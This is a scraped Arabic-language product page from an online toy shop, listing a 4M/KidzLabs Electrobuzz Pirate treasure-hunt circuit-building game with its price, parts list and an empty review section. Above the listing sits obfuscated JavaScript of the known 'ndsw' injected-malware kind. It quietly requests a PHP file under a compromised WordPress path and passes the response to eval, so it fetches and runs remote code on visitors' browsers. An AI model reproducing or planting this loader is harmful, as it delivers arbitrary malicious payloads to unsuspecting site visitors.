;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//toyandjoy.com/wp-content/languages-old/plugins/plugins.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
,

لعبة Electrobuzz Pirate Game من KidzLabs Game

Availability:

1 متوفر في المخزون


امنح طفلك جوًا من المرح
متعة قضاء أجمل الأوقات وأحلى الأوقات
يساعد على تنمية ذكاء الأطفال
اللون: N / A
العمر: 3+

325.00 EGP

1 متوفر في المخزون

“4M Electrobuzz Pirate Treasure Hunt Game من KidzLabs Gamemaker. قم ببناء ثم تنافس في لعبة البحث عن الكنز الفريدة الخاصة بك. مطلوب يد ثابتة ، Matey! اكتشف الكنوز باستخدام الخطاف الكهربائي الذي تجمعه. تفوز اليد الأكثر ثباتًا التي تنقب عن معظم الكنوز. لعبة. تعرف على الدوائر الكهربائية والمفاتيح أثناء تجميع اللعبة. تكمل البطارية والمفتاح والجرس والدبوس والزنبرك دائرة كهربائية. يعمل توصيل الخطاف كمفتاح إضافي. لتشغيل اللعبة ، ضع الكنوز في اللعبة اللوحة. حدد الصعوبة من خلال اتجاه الكنز. أدر المحدد لبدء اللعبة. والهدف هو التقاط جميع الكنوز التي يشير إليها الدوار بدون صوت الخطاف المخيف. يفوز اللاعب الذي يحصل على أكبر عدد من الكنوز . المدرجة مع اللعبة: لوحة الدوائر ، وخطاف القرصان ، والعصا ، والعصا ، وقاعدة المغزل ، والمشابك (4) ، وأغطية الأطراف (4) ، وغطاء علبة البطارية ، والمسمار ، وخريطة الكنز ، ومحدد الكنز ، وتمثال القرصان ، وملصق الكنوز ، وبطاقة الكنوز. . مطلوب أيضًا: مفك برأس فيليبس صغير وبطارية واحدة (1) AAA (1.5 فولت).

رمز المنتج: 4893156034366-1 التصنيفات: ,
الوزن 0.250 kg
الأبعاد 17 × 21 × 5 cm
Age

Gender

Based on 0 reviews

0.0 overall
0
0
0
0
0

Be the first to review “لعبة Electrobuzz Pirate Game من KidzLabs Game”

There are no reviews yet.